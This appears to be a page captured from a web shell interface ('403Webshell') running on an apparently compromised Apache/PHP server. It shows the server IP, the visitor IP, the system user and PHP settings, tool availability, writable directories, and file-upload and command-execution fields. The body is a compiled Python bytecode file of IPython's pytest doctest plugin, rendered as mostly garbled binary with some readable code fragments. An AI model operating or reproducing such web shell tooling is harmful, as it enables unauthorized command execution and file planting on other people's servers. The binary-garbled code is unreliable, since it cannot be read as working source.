403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/IPython/testing/plugin/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/IPython/testing/plugin/__pycache__/pytest_ipdoctest.cpython-311.pyc
�

�@�c�s��>�UdZddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
mZddlm
Z
ddlmZddlmZddlmZddlmZdd	lmZdd
lmZddlmZddlmZdd
lmZddlmZddlmZddlmZddlmZddlZddlmZddlm Z ddlm!Z!ddlm"Z"ddl#m$Z$ddl%m&Z&ddl'm(Z(ddl)m*Z*ddl+m,Z,ddl-m.Z.ddl/m0Z0ddl1m2Z2ddl1m3Z3ddl4m5Z5dd l6m7Z7erddl8Z8d!Z9d"Z:d#Z;d$Z<d%Z=e9e:e;e<e=fZ>da?da@eed&eAd'<d(e*d)dfd*�ZBdad+�ZCd,e
d-e.d)eed.fd/�ZDeEejF�Gd0��d��d1kreDZHd-e.d)eed.fd2�ZDe3ZId3�Z3d4e
d)eJfd5�ZKd6e(d4e
d-e.d)eJfd7�ZLd4e
d)eJfd8�ZMGd9�d:e"��ZNGd;�d<eO��ZPd)ed=fd>�ZQ				dbd@ed&dAeeJdBeEdCeJd)d=f
dD�ZRGdE�dFejS��ZTd)eeUeEffdG�ZVdH�ZWdI�ZXGdJ�dKejY��ZZdcdN�Z[dOe\d)eJfdP�Z]ed)edQfdR���Z^GdS�dTejY��Z_dUeTd)e,fdV�Z`d)ed&fdW�ZadddX�Zbd)eEfdY�Zcd)eEfdZ�Zdd)eEfd[�Zed\eUd)eEfd]�Zfejgd^�_��d)eeUeffd`���ZhdS)ez6Discover and run ipdoctests in modules and test files.�N)�contextmanager)�Path)�Any)�Callable)�Dict)�	Generator)�Iterable)�List)�Optional)�Pattern)�Sequence)�Tuple)�Type)�
TYPE_CHECKING)�Union)�outcomes)�
ExceptionInfo)�ReprFileLocation)�TerminalRepr)�TerminalWriter��safe_getattr)�Config)�Parser)�FixtureRequest)�	Collector)�OutcomeException��
fnmatch_ex)�import_path)�approx)�
PytestWarning�none�cdiff�ndiff�udiff�only_first_failure�IPDoctestOutputChecker�
CHECKER_CLASS�parser�returnc��|�ddddg���|�ddd�	��|�d
��}|�ddd
dd���|�dtjddt
d���|�ddgddd���|�ddd
dd���|�ddd
d d!���dS)"N�ipdoctest_optionflagszoption flags for ipdoctests�args�ELLIPSIS)�type�default�ipdoctest_encodingz!encoding used for ipdoctest fileszutf-8)r1�collectz--ipdoctest-modules�
store_trueFz!run ipdoctests in all .py modules�ipdoctestmodules)�actionr1�help�destz--ipdoctest-reportr&z;choose another output format for diffs on ipdoctest failure�ipdoctestreport)r0r1r7�choicesr8z--ipdoctest-glob�append�patz4ipdoctests file matching pattern, default: test*.txt�
ipdoctestglob)r6r1�metavarr7r8z --ipdoctest-ignore-import-errorszignore ipdoctest ImportErrors�ipdoctest_ignore_import_errorsz--ipdoctest-continue-on-failurez>for a given ipdoctest, continue to run after the first failure�ipdoctest_continue_on_failure)�addini�getgroup�	addoption�str�lower�DOCTEST_REPORT_CHOICES)r*�groups  �I/usr/lib/python3/dist-packages/IPython/testing/plugin/pytest_ipdoctest.py�pytest_addoptionrIHsO��
�M�M��%�
���	�����M�M��A�7�����
�O�O�I�&�&�E�	�O�O����
0�
�����
�O�O��
�Y��
J�&�
�
����
�O�O�����
C�
�
����
�O�O�*���
,�
-�����
�O�O�)���
M�
,�������c�
�dadS�N)�RUNNER_CLASS�rJrH�pytest_unconfigurerOzs
���L�L�LrJ�	file_path�parent)�IPDoctestModule�IPDoctestTextfilec�4�|j}|jdkrV|jjrIt	t|��t
|��f��st�||���}|Sn/t|||��rt�||���}|SdS)Nz.py��path)�config�suffix�optionr5�any�_is_setup_py�_is_main_pyrR�from_parent�
_is_ipdoctestrS)rPrQrW�mod�txts     rH�pytest_collect_filera�s����]�F���5� � ��=�)�	�#�
�)�
$�
$�k�)�&<�&<�=�3
�3
�	�$3�#>�#>�v�I�#>�#V�#V�C��J��	�v�y�&�	1�	1��!2�!>�!>�v�I�!>�!V�!V���
��4rJ�.�c�<�tt|��|��SrL)�
_collect_filer)rVrQs  rHrara�s���T�$�Z�Z��0�0�0rJc�X�ddl}t|j�|����S)Nr)�py.path�_import_pathrV�local)rV�root�pys   rHr r �s'�������B�G�M�M�$�/�/�0�0�0rJrVc�T�|jdkrdS|���}d|vpd|vS)Nzsetup.pyFs
setuptoolss	distutils)�name�
read_bytes)rV�contentss  rHr[r[�s8���y�J����u���� � �H��H�$�@���(@�@rJrWc����jdvr|j����rdS|�d��pdg}t	�fd�|D����S)N)z.txtz.rstTr=z	test*.txtc3�8�K�|]}t|���V��dSrLr)�.0�globrVs  �rH�	<genexpr>z _is_ipdoctest.<locals>.<genexpr>�s-�����8�8�$�z�$��%�%�8�8�8�8�8�8rJ)rX�session�
isinitpath�	getoptionrZ)rWrVrQ�globss `  rHr^r^�sh����{�&�&�&�6�>�+D�+D�T�+J�+J�&��t����_�-�-�>�+��E��8�8�8�8�%�8�8�8�8�8�8rJc��|jdkS)Nz__main__.py)rmrUs rHr\r\�s���9�
�%�%rJc�V�eZdZdeeeeefddfd�Zdeddfd�Z	dS)�ReprFailDoctest�reprlocation_linesr+Nc��||_dSrL)r|)�selfr|s  rH�__init__zReprFailDoctest.__init__�s��#5����rJ�twc�~�|jD]4\}}|D]}|�|���|�|���5dSrL)r|�line�
toterminal)r~r��reprlocation�linesr�s     rHr�zReprFailDoctest.toterminal�sZ��#'�#:�	(�	(��L�%��
�
������
�
�
�
��#�#�B�'�'�'�'�	(�	(rJ)
�__name__�
__module__�__qualname__r
rrrDrrr�rNrJrHr{r{�sn������5�"*�5�1A�8�C�=�1P�+Q�"R�5�	
�5�5�5�5�
(�^�(��(�(�(�(�(�(rJr{c�4��eZdZdedddf�fd�Z�xZS)�MultipleDoctestFailures�failureszdoctest.DocTestFailurer+Nc�V��t�����||_dSrL)�superrr�)r~r��	__class__s  �rHrz MultipleDoctestFailures.__init__�s$���
�������� ��
�
�
rJ)r�r�r�r
r�
__classcell__�r�s@rHr�r��sQ�������!��*B�!C�!��!�!�!�!�!�!�!�!�!�!rJr��IPDocTestRunnerc�<��ddl�ddlm}G�fd�d|��}|S)Nr�)r�c����eZdZdZ				ddeddeeded	ed
df
�fd�
Zdd
ddded
df�fd�Z	dd
ddde
eeee
jfd
df�fd�Z�xZS)�/_init_runner_class.<locals>.PytestDoctestRunnerz�Runner to collect failures.

        Note that the out variable in this case is a list instead of a
        stdout-like object.
        NrT�checkerr(�verbose�optionflags�continue_on_failurer+c�^��t���|||���||_dS)N)r�r�r�)r�rr�)r~r�r�r�r�r�s     �rHrz8_init_runner_class.<locals>.PytestDoctestRunner.__init__�s2���
�G�G���W�g�;��W�W�W�':�D�$�$�$rJ�test�doctest.DocTest�examplezdoctest.Example�gotc�h���j|||��}|jr|�|��dS|�rL)�DocTestFailurer�r;)r~�outr�r�r��failure�doctests      �rH�report_failurez>_init_runner_class.<locals>.PytestDoctestRunner.report_failure�sC���-�g�,�T�7�C�@�@�G��'�
��
�
�7�#�#�#�#�#��
rJ�exc_infoc���t|dt��r|d�t|dtj��rt	jd���j|||��}|jr|�|��dS|�)Nr�zQuitting debugger)	�
isinstancer�bdb�BdbQuitr�exit�UnexpectedExceptionr�r;)r~r�r�r�r�r�r�s      �rH�report_unexpected_exceptionzK_init_runner_class.<locals>.PytestDoctestRunner.report_unexpected_exception�s�����(�1�+�'7�8�8�
"��q�k�!��(�1�+�s�{�3�3�
3��
�1�2�2�2�1�g�1�$���J�J�G��'�
��
�
�7�#�#�#�#�#��
rJ�NNrT)r�r�r��__doc__r�bool�intrrDr�rr�
BaseException�types�
TracebackTyper�r�)r�r�s@�rH�PytestDoctestRunnerr��s5��������	�	�;?�&*� �(,�	;�	;��6�7�	;��d�^�	;��		;�
"&�	;��
	;�	;�	;�	;�	;�	;�	�$�	�'�		�
�	��
	�	�	�	�	�	�	�$�	�'�		�
�D��/���@S�S�T�	��
	�	�	�	�	�	�	�	�	�	rJr�)r��	ipdoctestr�)r�r�r�s  @rH�_init_runner_classr��s[����N�N�N�*�*�*�*�*�*�-�-�-�-�-�-�-�o�-�-�-�^�rJTr�r�r�r�c�R�t�t��at||||���S)N�r�r�r�r�)rMr�r�s    rH�_get_runnerr��s:����)�+�+������/�	���rJc���eZdZ		ddedddeddedd	df
�fd
�
Zedddeddddf�fd���Zdd�Zdd
�Z	dd�Z
dd�Zdee
d	eeeff�fd�Zd	eedefeeeffd�Zeej�d��d��dkred	efd���Z�xZS�xZS)�
IPDoctestItemNrmrQz)Union[IPDoctestTextfile, IPDoctestModule]�runnerr��dtestr�r+c���t���||��||_||_d|_d|_dSrL)r�rr�r��obj�fixture_request)r~rmrQr�r�r�s     �rHrzIPDoctestItem.__init__sB���	������v�&�&�&������
����9=����rJc�N��t���||||���S)zThe public named constructor.)rmrQr�r�)r�r])�clsrQrmr�r�r�s     �rHr]zIPDoctestItem.from_parents'����w�w�"�"��V�F�RW�"�X�X�XrJc��|j��Jt|��|_t|jj���}|j�d�����D]
\}}|||<�|jj�|��ddlm	}t|jjd|��r�i|_|j�tj��tj�|jj��tj�dd��t tjd<tj|j_dSdSdS)N)�
getfixture�ipdoctest_namespacer���	IPExampler�_�__builtins__)r��_setup_fixturesr��dict�getfixturevalue�itemsrx�updater�r�r��examples�
_user_ns_orig�_ip�user_ns�pop�builtins)r~rxrm�valuer�s     rH�setupzIPDoctestItem.setup,s<���:�!�#2�4�#8�#8�D� ��D�$8�$H�I�I�I�E�#�3�C�C�%� � ��e�g�g�
$�
$���e�$��d����J��#�#�E�*�*�*�,�,�,�,�,�,��$�*�-�a�0�)�<�<�
/�&(��"��"�)�)�#�+�6�6�6���"�"�4�:�#3�4�4�4������T�*�*�*�.6���N�+�#&�;��
� � � �-"�!�
/�
/rJc�.�ddlm}t|jjd|��rPi|j_tj���tj�	|j
��|`
|jj���dS)Nr�r�r)r�r�r�r�r�rxr�r��clearr�r�)r~r�s  rH�teardownzIPDoctestItem.teardownEs���(�(�(�(�(�(��d�j�)�!�,�i�8�8�	#�!�D�J���K�������K���t�1�2�2�2��"��
���� � � � � rJc��|j�J�|j�J�t|j��|���g}t	t
d��}t
t
dd��}tj��}tj	|j
j��	|j�|j|d���tj	|��|rtt
d|��n�t	t
d��rtt
d��n]#tj	|��|rtt
d|��wt	t
d��rtt
d��wwxYw|rt|���dS)Nr�F)r��clear_globs)r�r��_check_all_skipped�$_disable_output_capturing_for_darwin�hasattrr��getattr�os�getcwd�chdir�fspath�dirname�run�setattr�delattrr�)r~r��had_underscore_value�underscore_original_value�curdirs     rH�runtestzIPDoctestItem.runtestQs���z�%�%�%��{�&�&�&��4�:�&�&�&��1�1�3�3�3�35�� '�x��5�5��$+�H�c�4�$@�$@�!�
�����
����$�%�%�%�		'�
�K�O�O�D�J�H�%�O�H�H�H��H�V����#�
'���#�'@�A�A�A�A���3�'�'�
'���#�&�&�&���	
�H�V����#�
'���#�'@�A�A�A�A���3�'�'�
'���#�&�&�&�&�
'�����	4�)�(�3�3�3�	4�	4s
�"D�AE.c�T�tj��dkrdS|jj�d��}|rm|�d���|���\}}tj�	|��tj
�	|��dSdS)zNDisable output capturing. Otherwise, stdout is lost to ipdoctest (pytest#985).�DarwinN�capturemanagerT)�in_)�platform�systemrW�
pluginmanager�	getplugin�suspend_global_capture�read_global_capture�sys�stdout�write�stderr)r~�capmanr��errs    rHr�z2IPDoctestItem._disable_output_capturing_for_darwinos����?����(�(��F���*�4�4�5E�F�F���	"��)�)�d�)�3�3�3��1�1�3�3�H�C���J���S�!�!�!��J���S�!�!�!�!�!�		"�	"rJ�excinfoc����ddl}d}t|j|j|jf��r	|jg}n&t|jt
��r|jj}|�!t���|��Sg}|D�]�}|j	}|j
��j}�j�d}n�j|jzdz}t|��j}	t|||	��}
t!��}t#|j�d����}|�z|j
j�J�|j
j�d��}
�j�J��fd�t-|
��D��}
|
t/|jdz
d��|jdz�}
n>dg}
d}|j���D]}|
�d	|�d
|����d}� t||j��r3|
|�||j|���d��z
}
nTt;j|j��}|
d
tA|j��zgz
}
|
d�tCj"|j�D��z
}
|�|
|
f�����tG|��S)Nrr�r9Fc�:��g|]\}}d|�jzdz|fz��S)z%03d %sr�)�lineno)rr�i�xr�s   �rH�
<listcomp>z.IPDoctestItem.repr_failure.<locals>.<listcomp>�s?������=C�a��I��T�[��1�!4�a� 8�8���rJ�	z?EXAMPLE LOCATION UNKNOWN, not showing all tests of that examplez>>>z??? � z...�
zUNEXPECTED EXCEPTION: %sc�8�g|]}|�d����S)r)�strip)rrrs  rHrz.IPDoctestItem.repr_failure.<locals>.<listcomp>�s/�����&'�A�G�G�D�M�M���rJ)$r�r�r�r�r�r�r�r��repr_failurer�r��filenamer�r0r�r�_get_checker�_get_report_choicerWrw�	docstring�
splitlines�	enumerate�max�sourcer;�output_differencer��splitr�
from_exc_infor��repr�	traceback�format_exceptionr{)r~r�r�r�r|r�r�r	r��messager�r��
report_choicer��indentr��
inner_excinfor�r�s                 @�rHrzIPDoctestItem.repr_failure{s�����	����
�	���M�G�2�G�4O�P�
�
�	.� �
��H�H�
��
�'>�
?�
?�	.��}�-�H����7�7�'�'��0�0�0����)	=�)	=�G��o�G��<�D��}�H��{�"������w�~�5��9���7�m�m�,�G�+�H�f�g�F�F�L�"�n�n�G�.�t�{�/D�/D�EV�/W�/W�X�X�M��!��|�-�9�9�9���.�9�9�%�@�@���{�.�.�.�����GP�QV�GW�GW������c�'�.�1�"4�a�8�8�7�>�A�;M�M�N���V�����#�N�5�5�7�7�#�#�D��L�L�!7��!7�!7��!7�!7�8�8�8�"�F�F��'�7�#9�:�:�	
���2�2��W�[�-����%��+�+����!.� ;�G�<L� M� M�
��4�t�M�<O�7P�7P�P�Q�Q�����+4�+E�w�GW�+X������
�%�%�|�U�&;�<�<�<�<��1�2�2�2rJzos.PathLike[str]c�L�|j�J�|j|jjd|jzfS)Nz[ipdoctest] %s)r�rVr�rm�r~s rH�
reportinfozIPDoctestItem.reportinfo�s,���z�%�%�%��y�$�*�+�-=��	�-I�I�IrJrbrrcc�*�t|j��SrL�rr�rs rHrVzIPDoctestItem.path�������$�$�$rJ)NN�r+N)r�r�r�rDrr�classmethodr]r�r�r�r�rr�rrrrr�r�pytest�__version__r�propertyrrVr�r�s@rHr�r�s�������
/3�-1�>�>��>�<�>��*�+�	>�
�)�*�>�
�
>�>�>�>�>�>��
Y�;�
Y��	
Y�
"�
Y�!�
Y�
Y�
Y�
Y�
Y��[�
Y�/�/�/�/�2
!�
!�
!�
!�4�4�4�4�<	"�	"�	"�	"�>3��}�-�>3�
�s�L� �	!�>3�>3�>3�>3�>3�>3�@J�E�%�(:�C�(?�"@�(�3�-�QT�"T�U�J�J�J�J��s�6��#�#�C�(�(��+�,�,�q�0�0�	�	%�$�	%�	%�	%�
��	%�	%�	%�	%�	%�1�0�0�0rJr�c��ddl}t|j|j|j|j|j|jt��t��t����	�	S)Nr)	�DONT_ACCEPT_TRUE_FOR_1�DONT_ACCEPT_BLANKLINE�NORMALIZE_WHITESPACEr/�IGNORE_EXCEPTION_DETAIL�COMPARISON_FLAGS�
ALLOW_UNICODE�ALLOW_BYTES�NUMBER)r�r�r'r(r)r/r*r+�_get_allow_unicode_flag�_get_allow_bytes_flag�_get_number_flag�r�s rH�_get_flag_lookupr3�sa���N�N�N��&�=�%�;�$�9��!� '� ?� �1�-�/�/�)�+�+��!�!�
�
�
�
rJc�z�|j�d��}t��}d}|D]
}|||z}�|S)Nr-r)rW�getinir3)rQ�optionflags_str�flag_lookup_table�flag_acc�flags     rH�get_optionflagsr:�sO���m�*�*�+B�C�C�O�(�*�*���H��,�,���%�d�+�+����OrJc�b�|�d��}|r|�d��rd}|S)Nr@�usepdbF)�getvalue)rWr�s  rH�_get_continue_on_failurer>�s?�� �/�/�*I�J�J���(��?�?�8�$�$�	(�"'���rJc����eZdZdZdeefd�Zeej	�
d��d��dkr,edefd���Z
eddd�d	eef�fd
���Z�xZS�xZS)rSNr+c#��K�ddl}ddlm}|j�d��}|j�|��}t|j��}|jj}ddi}t|��}td|t��t|j�����}	|��}
|
�
||||d��}|jr't�||j|	|�	��V�dSdS)
Nrr�)�IPDocTestParserr2r��__main__F�r�r�r�r��rmr�r�)r�r�rArWr5rV�	read_textrDrmr:r�r
r>�get_doctestr�r�r])r~r�rA�encoding�textr	rmrxr�r�r*r�s            rHr3zIPDoctestTextfile.collect�s#��������.�.�.�.�.�.��;�%�%�&:�;�;���y�"�"�8�,�,���t�y�>�>���y�~���Z�(��%�d�+�+����#� �N�N� 8��� E� E�	
�
�
��!��"�"���!�!�$��t�X�q�A�A���=�	��+�+��4�9�V�4�,���
�
�
�
�
�	�	rJrbrrcc�*�t|j��SrLrrs rHrVzIPDoctestTextfile.path
r rJ�r�rVrVc�|��|�ddl}|j�|��}t��jd||d�|��S�Nr)rQr�rN�rgrVrir�r]�r�rQr�rV�kwrkr�s      �rHr]zIPDoctestTextfile.from_parent�K�������������t�,�,��&�5�7�7�&�J�f�V�J�J�r�J�J�JrJ)r�r�r�r�r	r�r3r�r#r$rr%rrVr"rr]r�r�s@rHrSrS�s��������
�C���-�0�����8�s�6��#�#�C�(�(��+�,�,�q�0�0�	�	%�$�	%�	%�	%�
��	%�
�
�#'�	K�	K�	K�
�4�.�	K�	K�	K�	K�	K�
��	K�	K�	K�	K�	K�1�0�0�0rJrSr�r�c���ddl�t�fd�|jD����}|rtjd��dSdS)zVRaise pytest.skip() if all examples in the given DocTest have the SKIP
    option set.rNc3�X�K�|]$}|j��jd��V��%dS)FN)�options�get�SKIP)rrrr�s  �rHrtz%_check_all_skipped.<locals>.<genexpr>#s5�����P�P�Q�a�i�m�m�G�L�%�8�8�P�P�P�P�P�PrJz%all docstests skipped by +SKIP option)r��allr�r#�skip)r��all_skippedr�s  @rHr�r�s[����N�N�N��P�P�P�P�$�-�P�P�P�P�P�K��=���;�<�<�<�<�<�=�=rJr�c�(�t|dd��duS)zmReturn if an object is possibly a mock object by checking the
    existence of a highly improbable attribute.�1pytest_mock_example_attribute_that_shouldnt_existNr)r�s rH�
_is_mockedr[(s!��	�S�M�t�T�T��	�rJ)NNNc#��K�tj�dd�dtdtfdtttgtfdtf�fd�}|t_	dV��t_dS#�t_wxYw)z�Context manager which replaces ``inspect.unwrap`` with a version
    that's aware of mock objects and doesn't recurse into them.N��stop�func.r^r+c������	|�	|tur��t���S|�����fd����S#t$r'}tjd|�d��d�t���d}~wwxYw)Nr]c�8��t|��p
����SrL)r[)r��_stopr_s ��rH�<lambda>zF_patch_unwrap_mock_aware.<locals>._mock_aware_unwrap.<locals>.<lambda>>s���j��o�o�6T���t���rJzGot z when unwrapping z.  This is usually caused by a violation of Python's object protocol; see e.g. https://github.com/pytest-dev/pytest/issues/5080)r[�	Exception�warnings�warnr")r_r^�erb�real_unwraps`  @�rH�_mock_aware_unwrapz4_patch_unwrap_mock_aware.<locals>._mock_aware_unwrap7s������	��|�t�z�1�1�"�{�4�j�9�9�9�9��E��;�t�*T�*T�*T�*T�*T�U�U�U�U���	�	�	��M�M�GH�a�a����O��	
�
�
�
�����	���s�5�5�
A&�"A!�!A&)�inspect�unwraprrr)rirhs @rH�_patch_unwrap_mock_awarerl1s�������.�K�MQ�����s�C�x� ��+3�H�c�U�C�Z�4H�+I��	�������"(�G�N�%�
����$���������$�$�$�$s�&A8�8Bc����eZdZdeefd�Zeej�	d��d��dkr,e
defd���Ze
ddd�d	eef�fd
���Z�xZS�xZS)rRr+c#��K�ddl}ddlm}m}Gd�d|��}|jjdkr�t
tj�	d��d��dkr>|j
j�|j|j
�
d	����}n�|j
j�|j|j
�
d	��|j
j�
��}nj	t|j|j
j���}nH#t $r;|j
�d��rtjd
|jz��n�YnwxYw||�����}t'|��}t)d|t+��t-|j
�����}|�||j��D].}	|	jr%t4�||	j||	���V��/dS)Nrr�)�
DocTestFinderrAc�2��eZdZdZ�fd�Z		d�fd�Z�xZS)�7IPDoctestModule.collect.<locals>.MockAwareDocTestFinderz�A hackish ipdoctest finder that overrides stdlib internals to fix a stdlib bug.

            https://github.com/pytest-dev/pytest/issues/3456
            https://bugs.python.org/issue25532
            c����t|t��rt|d|��}t|d��rt	j|��}t
���||��S)a3Doctest code does not take into account `@property`, this
                is a hackish way to fix it. https://bugs.python.org/issue17446

                Wrapped Doctests will need to be unwrapped so the correct
                line number is returned. This will be reported upstream. #8796
                �fget�__wrapped__)r�r%r�r�rjrkr��_find_lineno)r~r��source_linesr�s   �rHruzDIPDoctestModule.collect.<locals>.MockAwareDocTestFinder._find_lineno[sm����c�8�,�,�4�!�#�v�s�3�3�C��3�
�.�.�.�!�.��-�-�C��w�w�+�+�� ���rJr+Nc
����t|��rdSt��5t���|||||||��ddd��dS#1swxYwYdSrL)r[rlr��_find)	r~�testsr�rm�modulervrx�seenr�s	        �rHrxz=IPDoctestModule.collect.<locals>.MockAwareDocTestFinder._findos�����c�?�?���F�-�/�/����G�G�M�M��s�D�&�,��t������������������������s�(A�A�Ar!)r�r�r�r�rurxr�r�s@rH�MockAwareDocTestFinderrqTsh�������
�
�
�
�
�
�
�(

��

�

�

�

�

�

�

�

�

�

rJr|zconftest.pyrbrc�
importmode)�rootpath)rjr?zunable to import module %r)r*FrCrD)r�r�rorArVrmr�r#r$rrWr��_importconftestrwr~r �ImportErrorr=rWr:r�r
r>�findr�r�r�r])
r~r�rorAr|rz�finderr�r�r�s
          rHr3zIPDoctestModule.collectPs?��������=�=�=�=�=�=�=�=�%	�%	�%	�%	�%	�]�%	�%	�%	�N�9�>�]�*�*��6�%�+�+�C�0�0��3�4�4�q�8�8���2�B�B��I��K�)�)�,�7�7�����
��2�B�B��I��K�)�)�,�7�7�!�[�1�C�����
�$�T�Y�T�[�5I�J�J�J�����
�
�
��;�'�'�(H�I�I���K� <�t�y� H�I�I�I�I��J�I�
����(�'���/@�/@�A�A�A��%�d�+�+����#� �N�N� 8��� E� E�	
�
�
���K�K����8�8�	�	�D��}�
�#�/�/��t�y��t�0�������	�	s�, D
�
AE�Erbrrcc�*�t|j��SrLrrs rHrVzIPDoctestModule.path�r rJNrJrVc�|��|�ddl}|j�|��}t��jd||d�|��SrLrMrNs      �rHr]zIPDoctestModule.from_parent�rPrJ)r�r�r�r	r�r3r�r#r$rr%rrVr"rr]r�r�s@rHrRrROs��������M��-�0�M�M�M�M�^�s�6��#�#�C�(�(��+�,�,�q�0�0�	�	%�$�	%�	%�	%�
��	%�
�
�#'�	K�	K�	K�
�4�.�	K�	K�	K�	K�	K�
��	K�	K�	K�	K�	K�1�0�0�0rJrR�doctest_itemc��dd�}i|_|jj}|�||dd���|_t|d���}|���|S)	zIUsed by IPDoctestTextfile and IPDoctestItem to setup fixture information.r+Nc��dSrLrNrNrJrHr_z_setup_fixtures.<locals>.func�s���rJF)�noder_r��funcargsT)�	_ispytestr!)r�ru�_fixturemanager�getfixtureinfo�_fixtureinfor�
_fillfixtures)r�r_�fmr�s    rHr�r��s}��
�
�
�
��L��	�	�	-�B� "� 1� 1�
��$��!2�!�!�L��%�\�T�B�B�B�O��!�!�#�#�#��rJc�D��ddl}ddl�ddlm}G�fd�d|��}|S)Nrr�)r(c�����eZdZ��d�j��Z��d�j��Z��d�j��Zde	de	de
def��fd�Zde	de	de	fd	�Z
�xZS)
�2_init_checker_class.<locals>.LiteralsOutputCheckerz(\W|^)[uU]([rR]?[\'\"])z(\W|^)[bB]([rR]?[\'\"])a�
            (?P<number>
              (?P<mantissa>
                (?P<integer1> [+-]?\d*)\.(?P<fraction>\d+)
                |
                (?P<integer2> [+-]?\d+)\.
              )
              (?:
                [Ee]
                (?P<exponent1> [+-]?\d+)
              )?
              |
              (?P<integer3> [+-]?\d+)
              (?:
                [Ee]
                (?P<exponent2> [+-]?\d+)
              )
            )
            �wantr�r�r+c���t���|||��rdS|t��z}|t��z}|t	��z}|s|s|sdSdt
tdtdtf�	fd�}|r"||j|��}||j|��}|r"||j|��}||j|��}|r|�	||��}t���|||��S)NTF�regexr`r+c�2����|d|��S)Nz\1\2)�sub)r�r`�res  �rH�remove_prefixeszX_init_checker_class.<locals>.LiteralsOutputChecker.check_output.<locals>.remove_prefixes�s����v�v�e�W�c�2�2�2rJ)
r��check_outputr/r0r1rrD�_unicode_literal_re�_bytes_literal_re�_remove_unwanted_precision)
r~r�r�r��
allow_unicode�allow_bytes�allow_numberr�r�r�s
        ��rHr�z?_init_checker_class.<locals>.LiteralsOutputChecker.check_output�sI����w�w�#�#�D�#�{�;�;�
��t�'�*A�*C�*C�C�M�%�(=�(?�(?�?�K�&�)9�);�);�;�L� �
��
�\�
��u�
3�w�s�|�
3�#�
3�#�
3�
3�
3�
3�
3�
3��
E�&��t�'?��F�F��%�o�d�&>��D�D���
C�&��t�'=�t�D�D��%�o�d�&<�c�B�B���
A��5�5�d�C�@�@���7�7�'�'��c�;�?�?�?rJc���t|j�|����}t|j�|����}t|��t|��kr|Sd}t	||��D�]o\}}|�d��}|�d��}	|	�|�d��}	|�dnt|��}
|	�|
t
|	��z}
t|�����tt|�����d|
z���kr�|d|�	��|z�|���z||�
��|zd�z}||�
��|�	��z
|�
��|�	��z
z
z
}��q|S)Nr�fraction�	exponent1�	exponent2�
)�abs)�list�
_number_re�finditer�len�ziprGr��floatr!�start�end)r~r�r��wants�gots�offset�w�gr��exponent�	precisions           rHr�zM_init_checker_class.<locals>.LiteralsOutputChecker._remove_unwanted_precisions������1�1�$�7�7�8�8�E����0�0��5�5�6�6�D��5�z�z�S��Y�Y�&�&��
��F��E�4�(�(�
J�
J���1�*+�'�'�*�*=�*=��*+�'�'�+�*>�*>���#� �w�w�{�3�3�H�!)�!1�A�A�s�8�}�}�	��'���X���.�I�������#�#�v�e�A�G�G�I�I�.>�.>�B�9�*�DT�'U�'U�'U�U�U�
�0�a�g�g�i�i�&�0�0�1�A�G�G�I�I�=��A�E�E�G�G�f�DT�DV�DV�@W�W���a�e�e�g�g����	�	�1�Q�U�U�W�W�q�w�w�y�y�5H�I�I�F���JrJ)r�r�r��compile�UNICODEr�r��VERBOSEr�rDr�r�r�r�r�)r�r�s@�rH�LiteralsOutputCheckerr��s���������
!�j�j�)C�R�Z�P�P���J�J�'A�2�:�N�N���Z�Z�
�&
�J�)
�
�
�.	@�S�	@�s�	@��	@��	@�	@�	@�	@�	@�	@�	@�6	�3�	�S�	�S�	�	�	�	�	�	�	�	rJr�)r�r�r�r()r�r(r�r�s   @rH�_init_checker_classr��so����N�N�N�
�I�I�I�1�1�1�1�1�1�O�O�O�O�O�O�O� 6�O�O�O�b!� rJc�H�t�t��at��S)a�Return a IPDoctestOutputChecker subclass that supports some
    additional options:

    * ALLOW_UNICODE and ALLOW_BYTES options to ignore u'' and b''
      prefixes (respectively) in string literals. Useful when the same
      ipdoctest should run in Python 2 and Python 3.

    * NUMBER to ignore floating-point differences smaller than the
      precision of the literal number in the ipdoctest.

    An inner class is used to avoid importing "ipdoctest" at the module
    level.
    )r)r�rNrJrHr
r
s����+�-�-�
��?�?�rJc�*�ddl}|jd��S)z+Register and return the ALLOW_UNICODE flag.rNr,�r��register_optionflagr2s rHr/r/2s���N�N�N�&�7�&��7�7�7rJc�*�ddl}|jd��S)z)Register and return the ALLOW_BYTES flag.rNr-r�r2s rHr0r09s���N�N�N�&�7�&�}�5�5�5rJc�*�ddl}|jd��S)z$Register and return the NUMBER flag.rNr.r�r2s rHr1r1@s���N�N�N�&�7�&�x�0�0�0rJ�keyc
��ddl}t|jt|jt
|jt|jtdi|S)z�Return the actual `ipdoctest` module flag value.

    We want to do it as late as possible to avoid importing `ipdoctest` and all
    its dependencies when parsing options, as it adds overhead and breaks tests.
    rN)
r��DOCTEST_REPORT_CHOICE_UDIFF�REPORT_UDIFF�DOCTEST_REPORT_CHOICE_CDIFF�REPORT_CDIFF�DOCTEST_REPORT_CHOICE_NDIFF�REPORT_NDIFF�(DOCTEST_REPORT_CHOICE_ONLY_FIRST_FAILURE�REPORT_ONLY_FIRST_FAILURE�DOCTEST_REPORT_CHOICE_NONE)r�r�s  rHrrGsH���N�N�N�	$�W�%9�#�W�%9�#�W�%9�0�'�2S�"�A��
�
�rJru)�scopec��t��S)zcFixture that returns a :py:class:`dict` that will be injected into the
    namespace of ipdoctests.)r�rNrJrHr�r�Xs
���6�6�MrJr!r�)r�r�r+N)r+r()ir�r�r�rjr�r�r�rr�re�
contextlibr�pathlibr�typingrrrrr	r
rrr
rrrrr#�_pytestr�_pytest._code.coderrr�_pytest._ior�_pytest.compatr�_pytest.configr�_pytest.config.argparsingr�_pytest.fixturesr�
_pytest.nodesr�_pytest.outcomesr�_pytest.pathlibrr �_pytest.python_apir!�_pytest.warning_typesr"r�r�r�r�r�r�rFrMr)�__annotations__rIrOrar�r$rrerhr�r[r^r\r{rdr�r�r��Itemr�rDr3r:r>�ModulerSr��objectr[rlrRr�r�r
r/r0r1r�fixturer�rNrJrH�<module>r�s���=�<�<�����
�
�
�
�����	�	�	�	�����
�
�
�
�������������%�%�%�%�%�%������������������������������������������������������������������������� � � � � � �������
�
�
�
